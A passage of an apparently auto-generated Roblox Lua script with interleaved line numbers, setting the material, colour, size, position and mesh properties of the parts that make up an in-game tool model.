Part91.Parent = Tool0
1802
Part91.Material = Enum.Material.SmoothPlastic
1803
Part91.BrickColor = BrickColor.new("Black")
1804
Part91.Reflectance = 0.050000000745058
1805
Part91.Transparency = 1
1806
Part91.Rotation = Vector3.new(0, 89.4599991, 0)
1807
Part91.Anchored = true
1808
Part91.FormFactor = Enum.FormFactor.Custom
1809
Part91.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1810
Part91.CFrame = CFrame.new(26.9709473, 1.06616199, 138.530884, 0.00939145684, 4.35706298e-08, 0.999955893, 1.4781123e-08, 0.99999994, -4.37113812e-08, -0.999955773, 1.51909649e-08, 0.00939150155)
1811
Part91.BottomSurface = Enum.SurfaceType.Smooth
1812
Part91.TopSurface = Enum.SurfaceType.Smooth
1813
Part91.Color = Color3.new(0.105882, 0.164706, 0.207843)
1814
Part91.Position = Vector3.new(26.9709473, 1.06616199, 138.530884)
1815
Part91.Orientation = Vector3.new(0, 89.4599991, 0)
1816
Part91.Color = Color3.new(0.105882, 0.164706, 0.207843)
1817
Decal92.Parent = Part91
1818
Decal92.Texture = "http://www.roblox.com/asset/?id=30856952"
1819
Decal93.Parent = Part91
1820
Decal93.Texture = "http://www.roblox.com/asset/?id=30856952"
1821
Decal93.Face = Enum.NormalId.Back
1822
BlockMesh94.Parent = Part91
1823
BlockMesh94.Offset = Vector3.new(0, 0, 0.119999997)
1824
BlockMesh94.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
1825
BlockMesh94.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
1826
Part95.Parent = Tool0
1827
Part95.Material = Enum.Material.SmoothPlastic
1828
Part95.BrickColor = BrickColor.new("Black")
1829
Part95.Reflectance = 0.050000000745058
1830
Part95.Rotation = Vector3.new(0, 89.4599991, 0)
1831
Part95.Anchored = true
1832
Part95.FormFactor = Enum.FormFactor.Custom
1833
Part95.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1834
Part95.CFrame = CFrame.new(27.215332, 1.20727503, 138.719482, 0.00939106941, 1.04958431e-07, 0.999955714, -1.75381587e-07, 0.999999583, -1.03315969e-07, -0.999955237, -1.74403468e-07, 0.00939127803)
1835
Part95.BottomSurface = Enum.SurfaceType.Smooth
1836
Part95.TopSurface = Enum.SurfaceType.Smooth
1837
Part95.Color = Color3.new(0.105882, 0.164706, 0.207843)
1838
Part95.Position = Vector3.new(27.215332, 1.20727503, 138.719482)
1839
Part95.Orientation = Vector3.new(0, 89.4599991, 0)
1840
Part95.Color = Color3.new(0.105882, 0.164706, 0.207843)
1841
SpecialMesh96.Parent = Part95
1842
SpecialMesh96.MeshId = "http://www.roblox.com/asset/?id=12221344"
1843
SpecialMesh96.Scale = Vector3.new(0.0900000036, 0.119999997, 0.00300000003)
1844
SpecialMesh96.MeshType = Enum.MeshType.FileMesh
1845
SpecialMesh96.Scale = Vector3.new(0.0900000036, 0.119999997, 0.00300000003)
1846
Part97.Parent = Tool0
1847
Part97.Material = Enum.Material.SmoothPlastic
1848
Part97.BrickColor = BrickColor.new("Black")
1849
Part97.Reflectance = 0.050000000745058
1850
Part97.Transparency = 1
1851
Part97.Rotation = Vector3.new(0, 89.4599991, 0)
1852
Part97.Anchored = true
1853
Part97.FormFactor = Enum.FormFactor.Custom
1854
Part97.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1855
Part97.CFrame = CFrame.new(26.9727783, 1.06616199, 138.338989, 0.00939145684, 4.35706298e-08, 0.999955893, 1.4781123e-08, 0.99999994, -4.37113812e-08, -0.999955773, 1.51909649e-08, 0.00939150155)
1856
Part97.BottomSurface = Enum.SurfaceType.Smooth
1857
Part97.TopSurface = Enum.SurfaceType.Smooth
1858
Part97.Color = Color3.new(0.105882, 0.164706, 0.207843)
1859
Part97.Position = Vector3.new(26.9727783, 1.06616199, 138.338989)
1860
Part97.Orientation = Vector3.new(0, 89.4599991, 0)
1861
Part97.Color = Color3.new(0.105882, 0.164706, 0.207843)
1862
Decal98.Parent = Part97
1863
Decal98.Texture = "http://www.roblox.com/asset/?id=30856892"
1864
Decal99.Parent = Part97
1865
Decal99.Texture = "http://www.roblox.com/asset/?id=30856892"
1866
Decal99.Face = Enum.NormalId.Back
1867
BlockMesh100.Parent = Part97
1868
BlockMesh100.Offset = Vector3.new(0, 0, 0.119999997)
1869
BlockMesh100.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
1870
BlockMesh100.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
1871
Part101.Parent = Tool0
1872
Part101.Material = Enum.Material.SmoothPlastic
1873
Part101.BrickColor = BrickColor.new("Black")
1874
Part101.Reflectance = 0.050000000745058
1875
Part101.Rotation = Vector3.new(0, -0.539999962, 90)
1876
Part101.Anchored = true
1877
Part101.FormFactor = Enum.FormFactor.Custom
1878
Part101.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1879
Part101.CFrame = CFrame.new(27.2094727, 1.16210902, 138.716553, 1.11260377e-07, -0.999955833, -0.00939127803, 0.999999702, 1.09478208e-07, 1.90282762e-07, -1.8924618e-07, -0.00939120352, 0.999955297)
1880
Part101.BottomSurface = Enum.SurfaceType.Smooth
1881
Part101.TopSurface = Enum.SurfaceType.Smooth
1882
Part101.Color = Color3.new(0.105882, 0.164706, 0.207843)
1883
Part101.Position = Vector3.new(27.2094727, 1.16210902, 138.716553)
1884
Part101.Orientation = Vector3.new(0, -0.539999962, 90)
1885
Part101.Color = Color3.new(0.105882, 0.164706, 0.207843)
1886
BlockMesh102.Parent = Part101
1887
BlockMesh102.Offset = Vector3.new(-0.00749999983, 0.00300000003, 0)
1888
BlockMesh102.Scale = Vector3.new(0.180000007, 0.119999997, 0.299999982)
1889
BlockMesh102.Scale = Vector3.new(0.180000007, 0.119999997, 0.299999982)
1890
Part103.Parent = Tool0
1891
Part103.Material = Enum.Material.SmoothPlastic
1892
Part103.BrickColor = BrickColor.new("Black")
1893
Part103.Reflectance = 0.050000000745058
1894
Part103.Rotation = Vector3.new(0, -0.539999962, 90)
1895
Part103.Anchored = true
1896
Part103.FormFactor = Enum.FormFactor.Custom
1897
Part103.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1898
Part103.CFrame = CFrame.new(27.2094727, 1.12622094, 138.716553, 1.11260377e-07, -0.999955833, -0.00939127803, 0.999999702, 1.09478208e-07, 1.90282762e-07, -1.8924618e-07, -0.00939120352, 0.999955297)
1899
Part103.BottomSurface = Enum.SurfaceType.Smooth
1900
Part103.TopSurface = Enum.SurfaceType.Smooth
1901
Part103.Color = Color3.new(0.105882, 0.164706, 0.207843)
1902
Part103.Position = Vector3.new(27.2094727, 1.12622094, 138.716553)
1903
Part103.Orientation = Vector3.new(0, -0.539999962, 90)
1904
Part103.Color = Color3.new(0.105882, 0.164706, 0.207843)
1905
BlockMesh104.Parent = Part103
1906
BlockMesh104.Scale = Vector3.new(0.540000021, 0.119999997, 0.0749999955)
1907
BlockMesh104.Scale = Vector3.new(0.540000021, 0.119999997, 0.0749999955)
1908
Part105.Parent = Tool0
1909
Part105.Material = Enum.Material.SmoothPlastic
1910
Part105.BrickColor = BrickColor.new("Black")
1911
Part105.Rotation = Vector3.new(-90, 0, 179.459991)
1912
Part105.Anchored = true
1913
Part105.FormFactor = Enum.FormFactor.Custom
1914
Part105.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1915
Part105.CFrame = CFrame.new(27.2172852, 1.07226598, 138.462296, -0.999955833, -0.00939127803, 7.44607718e-08, 7.35136609e-08, 1.01192242e-07, 0.999999702, -0.00939120352, 0.999955297, -1.00497417e-07)
1916
Part105.BottomSurface = Enum.SurfaceType.Smooth
1917
Part105.TopSurface = Enum.SurfaceType.Smooth
1918
Part105.Color = Color3.new(0.105882, 0.164706, 0.207843)
1919
Part105.Position = Vector3.new(27.2172852, 1.07226598, 138.462296)
1920
Part105.Orientation = Vector3.new(-89.9599991, 143.459991, 36)
1921
Part105.Color = Color3.new(0.105882, 0.164706, 0.207843)
1922
BlockMesh106.Parent = Part105
1923
BlockMesh106.Offset = Vector3.new(0.0149999997, 0.0539999977, 0)
1924
BlockMesh106.Scale = Vector3.new(0.149999991, 0.540000021, 0.149999991)
1925
BlockMesh106.Scale = Vector3.new(0.149999991, 0.540000021, 0.149999991)
1926
Part107.Parent = Tool0
1927
Part107.Material = Enum.Material.SmoothPlastic
1928
Part107.BrickColor = BrickColor.new("Black")
1929
Part107.Reflectance = 0.050000000745058
1930
Part107.Rotation = Vector3.new(0, -0.539999962, 90)
1931
Part107.Anchored = true
1932
Part107.FormFactor = Enum.FormFactor.Custom
1933
Part107.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1934
Part107.CFrame = CFrame.new(27.2086182, 1.04223597, 138.776367, 1.11260377e-07, -0.999955833, -0.00939127803, 0.999999702, 1.09478208e-07, 1.90282762e-07, -1.8924618e-07, -0.00939120352, 0.999955297)
1935
Part107.BottomSurface = Enum.SurfaceType.Smooth
1936
Part107.TopSurface = Enum.SurfaceType.Smooth
1937
Part107.Color = Color3.new(0.105882, 0.164706, 0.207843)
1938
Part107.Position = Vector3.new(27.2086182, 1.04223597, 138.776367)
1939
Part107.Orientation = Vector3.new(0, -0.539999962, 90)
1940
Part107.Color = Color3.new(0.105882, 0.164706, 0.207843)
1941
BlockMesh108.Parent = Part107
1942
BlockMesh108.Offset = Vector3.new(0, 0.0120000001, 0)
1943
BlockMesh108.Scale = Vector3.new(0.180000007, 0.0299999993, 0.825000048)
1944
BlockMesh108.Scale = Vector3.new(0.180000007, 0.0299999993, 0.825000048)
1945
Part109.Parent = Tool0
1946
Part109.Material = Enum.Material.SmoothPlastic
1947
Part109.BrickColor = BrickColor.new("Black")
1948
Part109.Reflectance = 0.050000000745058
1949
Part109.Rotation = Vector3.new(0, 89.4599991, -90)
1950
Part109.Anchored = true
1951
Part109.FormFactor = Enum.FormFactor.Custom
1952
Part109.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1953
Part109.CFrame = CFrame.new(26.9537354, 0.913085997, 138.828003, -7.51574945e-08, 0.00939127803, 0.999955833, -0.999999702, -1.75381601e-07, -7.35136751e-08, 1.74683422e-07, -0.999955297, 0.00939120352)
1954
Part109.BottomSurface = Enum.SurfaceType.Smooth
1955
Part109.TopSurface = Enum.SurfaceType.Smooth
1956
Part109.Color = Color3.new(0.105882, 0.164706, 0.207843)
1957
Part109.Position = Vector3.new(26.9537354, 0.913085997, 138.828003)
1958
Part109.Orientation = Vector3.new(0, 89.4599991, -90)
1959
Part109.Color = Color3.new(0.105882, 0.164706, 0.207843)
1960
CylinderMesh110.Parent = Part109
1961
CylinderMesh110.Offset = Vector3.new(0, 0, 0.0450000018)
1962
CylinderMesh110.Scale = Vector3.new(0.225000009, 0.900000036, 0.225000009)
1963
CylinderMesh110.Scale = Vector3.new(0.225000009, 0.900000036, 0.225000009)
1964
Part111.Parent = Tool0
1965
Part111.Material = Enum.Material.SmoothPlastic
1966
Part111.BrickColor = BrickColor.new("Black")
1967
Part111.Reflectance = 0.050000000745058
1968
Part111.Rotation = Vector3.new(0, -0.539999962, -180)
1969
Part111.Anchored = true
1970
Part111.FormFactor = Enum.FormFactor.Custom
1971
Part111.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1972
Part111.CFrame = CFrame.new(26.9494629, 1.03320301, 138.887573, -0.999949455, 6.38106201e-07, -0.00939075649, -8.80158211e-07, -0.999994636, 3.69093527e-07, -0.00939118862, 3.90005596e-07, 0.999947309)
1973
Part111.BottomSurface = Enum.SurfaceType.Smooth
1974
Part111.TopSurface = Enum.SurfaceType.Smooth
1975
Part111.Color = Color3.new(0.105882, 0.164706, 0.207843)
1976
Part111.Position = Vector3.new(26.9494629, 1.03320301, 138.887573)
1977
Part111.Orientation = Vector3.new(0, -0.539999962, -180)
1978
Part111.Color = Color3.new(0.105882, 0.164706, 0.207843)
1979
CylinderMesh112.Parent = Part111
1980
CylinderMesh112.Offset = Vector3.new(-0.0299999993, 0, 0)
1981
CylinderMesh112.Scale = Vector3.new(0.225000009, 1.5, 0.225000009)
1982
CylinderMesh112.Scale = Vector3.new(0.225000009, 1.5, 0.225000009)
1983
Part113.Parent = Tool0
1984
Part113.Material = Enum.Material.SmoothPlastic
1985
Part113.BrickColor = BrickColor.new("Black")
1986
Part113.Reflectance = 0.050000000745058
1987
Part113.Rotation = Vector3.new(0, -0.539999962, 90)
1988
Part113.Anchored = true
1989
Part113.FormFactor = Enum.FormFactor.Custom
1990
Part113.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
1991
Part113.CFrame = CFrame.new(27.1765137, 1.39330995, 138.985901, 8.71412595e-08, -0.999955893, -0.00939127803, 0.999999881, 8.74227624e-08, -2.9562246e-08, 3.03819299e-08, -0.00939150155, 0.999955535)
1992
Part113.BottomSurface = Enum.SurfaceType.Smooth
1993
Part113.TopSurface = Enum.SurfaceType.Smooth
1994
Part113.Color = Color3.new(0.105882, 0.164706, 0.207843)
1995
Part113.Position = Vector3.new(27.1765137, 1.39330995, 138.985901)
1996
Part113.Orientation = Vector3.new(0, -0.539999962, 90)
1997
Part113.Color = Color3.new(0.105882, 0.164706, 0.207843)
1998
BlockMesh114.Parent = Part113
1999
BlockMesh114.Offset = Vector3.new(-0.0299999993, 0, 0)
2000
BlockMesh114.Scale = Vector3.new(0.450000018, 0.149999961, 0.900000036)
2001
BlockMesh114.Scale = Vector3.new(0.450000018, 0.149999961, 0.900000036)
2002
Part115.Parent = Tool0
2003
Part115.Material = Enum.Material.SmoothPlastic
2004
Part115.BrickColor = BrickColor.new("Black")
2005
Part115.Reflectance = 0.050000000745058
2006
Part115.Rotation = Vector3.new(0, -0.539999962, 90)
2007
Part115.Anchored = true
2008
Part115.FormFactor = Enum.FormFactor.Custom
2009
Part115.Size = Vector3.new(0.347999901, 0.200000003, 0.200000003)
2010
Part115.CFrame = CFrame.new(27.2078857, 1.00610304, 138.851563, 8.71412595e-08, -0.999955893, -0.00939127803, 0.999999881, 8.74227624e-08, -2.9562246e-08, 3.03819299e-08, -0.00939150155, 0.999955535)
2011
Part115.BottomSurface = Enum.SurfaceType.Smooth
2012
Part115.TopSurface = Enum.SurfaceType.Smooth
2013
Part115.Color = Color3.new(0.105882, 0.164706, 0.207843)
2014
Part115.Position = Vector3.new(27.2078857, 1.00610304, 138.851563)
2015
Part115.Orientation = Vector3.new(0, -0.539999962, 90)
2016
Part115.Color = Color3.new(0.105882, 0.164706, 0.207843)
2017
BlockMesh116.Parent = Part115
2018
BlockMesh116.Offset = Vector3.new(0, 0.0149999997, 0)
2019
BlockMesh116.Scale = Vector3.new(1, 0.0299999993, 0.450000018)
2020
BlockMesh116.Scale = Vector3.new(1, 0.0299999993, 0.450000018)
2021
Part117.Parent = Tool0
2022
Part117.Material = Enum.Material.SmoothPlastic
2023
Part117.BrickColor = BrickColor.new("Black")
2024
Part117.Reflectance = 0.050000000745058
2025
Part117.Rotation = Vector3.new(-0.00999999978, 89.4199982, 0)
2026
Part117.Anchored = true
2027
Part117.FormFactor = Enum.FormFactor.Custom
2028
Part117.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2029
Part117.CFrame = CFrame.new(26.9803467, 1.00317395, 138.831116, 0.00939099491, -5.48562753e-07, 0.999948323, -3.83994234e-07, 0.99999392, 8.20552998e-07, -0.999946356, -4.04066043e-07, 0.00939123333)
2030
Part117.BottomSurface = Enum.SurfaceType.Smooth
2031
Part117.TopSurface = Enum.SurfaceType.Smooth
2032
Part117.Color = Color3.new(0.105882, 0.164706, 0.207843)
2033
Part117.Position = Vector3.new(26.9803467, 1.00317395, 138.831116)
2034
Part117.Orientation = Vector3.new(0, 89.4599991, 0)
2035
Part117.Color = Color3.new(0.105882, 0.164706, 0.207843)
2036
SpecialMesh118.Parent = Part117
2037
SpecialMesh118.MeshId = "http://www.roblox.com/asset/?id=12221344"
2038
SpecialMesh118.Scale = Vector3.new(0.119999997, 0.180000007, 0.00300000003)
2039
SpecialMesh118.MeshType = Enum.MeshType.FileMesh
2040
SpecialMesh118.Scale = Vector3.new(0.119999997, 0.180000007, 0.00300000003)
2041
Part119.Parent = Tool0
2042
Part119.Material = Enum.Material.SmoothPlastic
2043
Part119.BrickColor = BrickColor.new("Black")
2044
Part119.Reflectance = 0.050000000745058
2045
Part119.Rotation = Vector3.new(180, 0.539999962, -180)
2046
Part119.Anchored = true
2047
Part119.FormFactor = Enum.FormFactor.Custom
2048
Part119.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
2049
Part119.CFrame = CFrame.new(27.0974121, 1.13525403, 138.157227, -0.999955833, 7.51575016e-08, 0.00939106941, 7.35136609e-08, 0.999999523, -1.7538153e-07, -0.00939126313, -1.74683436e-07, -0.999955058)
2050
Part119.BottomSurface = Enum.SurfaceType.Smooth
2051
Part119.TopSurface = Enum.SurfaceType.Smooth
2052
Part119.Color = Color3.new(0.105882, 0.164706, 0.207843)
2053
Part119.Position = Vector3.new(27.0974121, 1.13525403, 138.157227)
2054
Part119.Orientation = Vector3.new(0, 179.459991, 0)
2055
Part119.Color = Color3.new(0.105882, 0.164706, 0.207843)
2056
BlockMesh120.Parent = Part119
2057
BlockMesh120.Offset = Vector3.new(0.00150000001, 0.0164999999, -0.0164999999)
2058
BlockMesh120.Scale = Vector3.new(1.01999998, 0.652500093, 1.08000004)
2059
BlockMesh120.Scale = Vector3.new(1.01999998, 0.652500093, 1.08000004)
2060
Part121.Parent = Tool0
2061
Part121.Material = Enum.Material.SmoothPlastic
2062
Part121.BrickColor = BrickColor.new("Black")
2063
Part121.Reflectance = 0.20000000298023
2064
Part121.Rotation = Vector3.new(-90, 0, 179.459991)
2065
Part121.Anchored = true
2066
Part121.FormFactor = Enum.FormFactor.Custom
2067
Part121.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2068
Part121.CFrame = CFrame.new(27.2125244, 1.10522497, 138.347412, -0.999955535, -0.00939102471, 9.95769938e-08, 9.56952277e-08, 4.13800024e-07, 0.999999464, -0.00939133763, 0.999954998, -4.12883026e-07)
2069
Part121.BottomSurface = Enum.SurfaceType.Smooth
2070
Part121.TopSurface = Enum.SurfaceType.Smooth
2071
Part121.Color = Color3.new(0.105882, 0.164706, 0.207843)
2072
Part121.Position = Vector3.new(27.2125244, 1.10522497, 138.347412)
2073
Part121.Orientation = Vector3.new(-89.9399948, 166.440002, 13.0199995)
2074
Part121.Color = Color3.new(0.105882, 0.164706, 0.207843)
2075
BlockMesh122.Parent = Part121
2076
BlockMesh122.Offset = Vector3.new(0.0149999997, 0, 0)
2077
BlockMesh122.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
2078
BlockMesh122.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
2079
Part123.Parent = Tool0
2080
Part123.Material = Enum.Material.SmoothPlastic
2081
Part123.BrickColor = BrickColor.new("Black")
2082
Part123.Reflectance = 0.050000000745058
2083
Part123.Rotation = Vector3.new(180, 0.539999962, -180)
2084
Part123.Anchored = true
2085
Part123.FormFactor = Enum.FormFactor.Custom
2086
Part123.Size = Vector3.new(0.209999993, 0.300000012, 0.959999979)
2087
Part123.CFrame = CFrame.new(27.0889893, 1.06616199, 138.732971, -0.999955833, 7.51575016e-08, 0.00939102471, 7.35136609e-08, 0.999999583, -1.75381558e-07, -0.00939126313, -1.74683436e-07, -0.999954998)
2088
Part123.BottomSurface = Enum.SurfaceType.Smooth
2089
Part123.TopSurface = Enum.SurfaceType.Smooth
2090
Part123.Color = Color3.new(0.105882, 0.164706, 0.207843)
2091
Part123.Position = Vector3.new(27.0889893, 1.06616199, 138.732971)
2092
Part123.Orientation = Vector3.new(0, 179.459991, 0)
2093
Part123.Color = Color3.new(0.105882, 0.164706, 0.207843)
2094
BlockMesh124.Parent = Part123
2095
BlockMesh124.Scale = Vector3.new(1, 1, 0.950000048)
2096
BlockMesh124.Scale = Vector3.new(1, 1, 0.950000048)
2097
Part125.Parent = Tool0
2098
Part125.Material = Enum.Material.SmoothPlastic
2099
Part125.BrickColor = BrickColor.new("Black")
2100
Part125.Reflectance = 0.050000000745058
2101
Part125.Rotation = Vector3.new(180, 0.539999962, 105)
2102
Part125.Anchored = true
2103
Part125.FormFactor = Enum.FormFactor.Custom
2104
Part125.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2105
Part125.CFrame = CFrame.new(26.9566669, 1.35107398, 138.758911, -0.258817226, -0.965878427, 0.00939102471, -0.965921342, 0.258828729, -1.3166985e-07, -0.00243057683, -0.00907120109, -0.999952912)
2106
Part125.BottomSurface = Enum.SurfaceType.Smooth
2107
Part125.TopSurface = Enum.SurfaceType.Smooth
2108
Part125.Color = Color3.new(0.105882, 0.164706, 0.207843)
2109
Part125.Position = Vector3.new(26.9566669, 1.35107398, 138.758911)
2110
Part125.Orientation = Vector3.new(0, 179.459991, -75)
2111
Part125.Color = Color3.new(0.105882, 0.164706, 0.207843)
2112
SpecialMesh126.Parent = Part125
2113
SpecialMesh126.Scale = Vector3.new(0.599999964, 0.599999964, 0.599999964)
2114
SpecialMesh126.MeshType = Enum.MeshType.Torso
2115
SpecialMesh126.Scale = Vector3.new(0.599999964, 0.599999964, 0.599999964)
2116
Part127.Parent = Tool0
2117
Part127.Material = Enum.Material.SmoothPlastic
2118
Part127.BrickColor = BrickColor.new("Black")
2119
Part127.Reflectance = 0.050000000745058
2120
Part127.Rotation = Vector3.new(-180, 0.539999962, 180)
2121
Part127.Anchored = true
2122
Part127.FormFactor = Enum.FormFactor.Custom
2123
Part127.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2124
Part127.CFrame = CFrame.new(27.1043701, 1.23608398, 138.085327, -0.999955833, -4.52194536e-06, 0.00939102471, -4.46485592e-06, 0.999999583, 6.10001689e-06, -0.00939126313, 6.05781406e-06, -0.999954998)
2125
Part127.BottomSurface = Enum.SurfaceType.Smooth
2126
Part127.TopSurface = Enum.SurfaceType.Smooth
2127
Part127.Color = Color3.new(0.105882, 0.164706, 0.207843)
2128
Part127.Position = Vector3.new(27.1043701, 1.23608398, 138.085327)
2129
Part127.Orientation = Vector3.new(0, 179.459991, 0)
2130
Part127.Color = Color3.new(0.105882, 0.164706, 0.207843)
2131
SpecialMesh128.Parent = Part127
2132
SpecialMesh128.MeshId = "http://www.roblox.com/asset/?id=12221344"
2133
SpecialMesh128.Scale = Vector3.new(0.479999989, 0.629999995, 0.0149999997)
2134
SpecialMesh128.MeshType = Enum.MeshType.FileMesh
2135
SpecialMesh128.Scale = Vector3.new(0.479999989, 0.629999995, 0.0149999997)
2136
Part129.Parent = Tool0
2137
Part129.Material = Enum.Material.SmoothPlastic
2138
Part129.BrickColor = BrickColor.new("Black")
2139
Part129.Reflectance = 0.050000000745058
2140
Part129.Rotation = Vector3.new(-90, 0, 179.459991)
2141
Part129.Anchored = true
2142
Part129.FormFactor = Enum.FormFactor.Custom
2143
Part129.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
2144
Part129.CFrame = CFrame.new(27.0843506, 1.10229504, 139.216187, -0.999955714, -0.0093909651, -2.52597529e-05, -2.52627906e-05, 2.05183838e-07, 0.999999583, -0.00939120352, 0.999954998, -4.42417331e-07)
2145
Part129.BottomSurface = Enum.SurfaceType.Smooth
2146
Part129.TopSurface = Enum.SurfaceType.Smooth
2147
Part129.Color = Color3.new(0.105882, 0.164706, 0.207843)
2148
Part129.Position = Vector3.new(27.0843506, 1.10229504, 139.216187)
2149
Part129.Orientation = Vector3.new(-89.9499969, -91, -89.5299988)
2150
Part129.Color = Color3.new(0.105882, 0.164706, 0.207843)
2151
SpecialMesh130.Parent = Part129
2152
SpecialMesh130.Scale = Vector3.new(1, 0.360000014, 0.299999982)
2153
SpecialMesh130.MeshType = Enum.MeshType.Wedge
2154
SpecialMesh130.Scale = Vector3.new(1, 0.360000014, 0.299999982)
2155
Part131.Parent = Tool0
2156
Part131.Material = Enum.Material.SmoothPlastic
2157
Part131.BrickColor = BrickColor.new("Black")
2158
Part131.Reflectance = 0.050000000745058
2159
Part131.Rotation = Vector3.new(-180, -89.4599991, -90)
2160
Part131.Anchored = true
2161
Part131.FormFactor = Enum.FormFactor.Custom
2162
Part131.Size = Vector3.new(0.209999993, 0.200000003, 0.209999993)
2163
Part131.CFrame = CFrame.new(27.1380615, 1.27026403, 138.172791, 7.51575016e-08, 0.00939102471, -0.999955833, 0.999999583, -1.75381558e-07, 7.35136609e-08, -1.74683436e-07, -0.999954998, -0.00939126313)
2164
Part131.BottomSurface = Enum.SurfaceType.Smooth
2165
Part131.TopSurface = Enum.SurfaceType.Smooth
2166
Part131.Color = Color3.new(0.105882, 0.164706, 0.207843)
2167
Part131.Position = Vector3.new(27.1380615, 1.27026403, 138.172791)
2168
Part131.Orientation = Vector3.new(0, -90.5400009, 90)
2169
Part131.Color = Color3.new(0.105882, 0.164706, 0.207843)
2170
CylinderMesh132.Parent = Part131
2171
CylinderMesh132.Scale = Vector3.new(1.1500001, 0.75, 1.04999995)
2172
CylinderMesh132.Scale = Vector3.new(1.1500001, 0.75, 1.04999995)
2173
Part133.Parent = Tool0
2174
Part133.Material = Enum.Material.SmoothPlastic
2175
Part133.BrickColor = BrickColor.new("Black")
2176
Part133.Reflectance = 0.050000000745058
2177
Part133.Rotation = Vector3.new(90, 0, -179.459991)
2178
Part133.Anchored = true
2179
Part133.FormFactor = Enum.FormFactor.Custom
2180
Part133.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
2181
Part133.CFrame = CFrame.new(27.0895996, 0.834227979, 138.712296, -0.999955833, 0.00939102471, -7.48776188e-08, 7.35136609e-08, -1.45579236e-07, -0.999999583, -0.00939126313, -0.999954998, 1.44882463e-07)
2182
Part133.BottomSurface = Enum.SurfaceType.Smooth
2183
Part133.TopSurface = Enum.SurfaceType.Smooth
2184
Part133.Color = Color3.new(0.105882, 0.164706, 0.207843)
2185
Part133.Position = Vector3.new(27.0895996, 0.834227979, 138.712296)
2186
Part133.Orientation = Vector3.new(89.9499969, -27.3299999, 153.209991)
2187
Part133.Color = Color3.new(0.105882, 0.164706, 0.207843)
2188
SpecialMesh134.Parent = Part133
2189
SpecialMesh134.Scale = Vector3.new(1, 0.180000007, 0.149999991)
2190
SpecialMesh134.MeshType = Enum.MeshType.Wedge
2191
SpecialMesh134.Scale = Vector3.new(1, 0.180000007, 0.149999991)
2192
Part135.Parent = Tool0
2193
Part135.Material = Enum.Material.SmoothPlastic
2194
Part135.BrickColor = BrickColor.new("Black")
2195
Part135.Reflectance = 0.050000000745058
2196
Part135.Rotation = Vector3.new(0, -0.539999962, 180)
2197
Part135.Anchored = true
2198
Part135.FormFactor = Enum.FormFactor.Custom
2199
Part135.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
2200
Part135.CFrame = CFrame.new(27.0936279, 1.05126905, 138.235168, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
2201
Part135.BottomSurface = Enum.SurfaceType.Smooth
2202
Part135.TopSurface = Enum.SurfaceType.Smooth
2203
Part135.Color = Color3.new(0.105882, 0.164706, 0.207843)
2204
Part135.Position = Vector3.new(27.0936279, 1.05126905, 138.235168)
2205
Part135.Orientation = Vector3.new(0, -0.539999962, 180)
2206
Part135.Color = Color3.new(0.105882, 0.164706, 0.207843)
2207
SpecialMesh136.Parent = Part135
2208
SpecialMesh136.Scale = Vector3.new(1, 0.149999991, 0.149999991)
2209
SpecialMesh136.MeshType = Enum.MeshType.Wedge
2210
SpecialMesh136.Scale = Vector3.new(1, 0.149999991, 0.149999991)
2211
Part137.Parent = Tool0
2212
Part137.Material = Enum.Material.SmoothPlastic
2213
Part137.BrickColor = BrickColor.new("Brick yellow")
2214
Part137.Reflectance = 0.050000000745058
2215
Part137.Rotation = Vector3.new(-61.3099976, -0.25999999, 179.529999)
2216
Part137.Anchored = true
2217
Part137.FormFactor = Enum.FormFactor.Custom
2218
Part137.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
2219
Part137.CFrame = CFrame.new(27.0914307, 0.69116199, 138.467163, -0.999955833, -0.00823810697, -0.00450787693, 7.35136609e-08, -0.480031699, 0.877250612, -0.00939126313, 0.877211511, 0.480010271)
2220
Part137.BottomSurface = Enum.SurfaceType.Smooth
2221
Part137.TopSurface = Enum.SurfaceType.Smooth
2222
Part137.Color = Color3.new(0.843137, 0.772549, 0.603922)
2223
Part137.Position = Vector3.new(27.0914307, 0.69116199, 138.467163)
2224
Part137.Orientation = Vector3.new(-61.3099976, -0.539999962, 180)
2225
Part137.Color = Color3.new(0.843137, 0.772549, 0.603922)
2226
SpecialMesh138.Parent = Part137
2227
SpecialMesh138.Scale = Vector3.new(1, 0.180000007, 0.112500004)
2228
SpecialMesh138.MeshType = Enum.MeshType.Wedge
2229
SpecialMesh138.Scale = Vector3.new(1, 0.180000007, 0.112500004)
2230
Part139.Parent = Tool0
2231
Part139.Material = Enum.Material.SmoothPlastic
2232
Part139.BrickColor = BrickColor.new("Black")
2233
Part139.Reflectance = 0.050000000745058
2234
Part139.Rotation = Vector3.new(90.1100006, -12, 90.5499954)
2235
Part139.Anchored = true
2236
Part139.FormFactor = Enum.FormFactor.Custom
2237
Part139.Size = Vector3.new(0.330000013, 0.200000003, 0.200000003)
2238
Part139.CFrame = CFrame.new(26.9669189, 1.213135, 138.983887, -0.00939138234, -0.978104293, -0.207902461, 1.14688889e-08, 0.207911626, -0.978147209, 0.999955058, -0.00918611884, -0.00195264444)
2239
Part139.BottomSurface = Enum.SurfaceType.Smooth
2240
Part139.TopSurface = Enum.SurfaceType.Smooth
2241
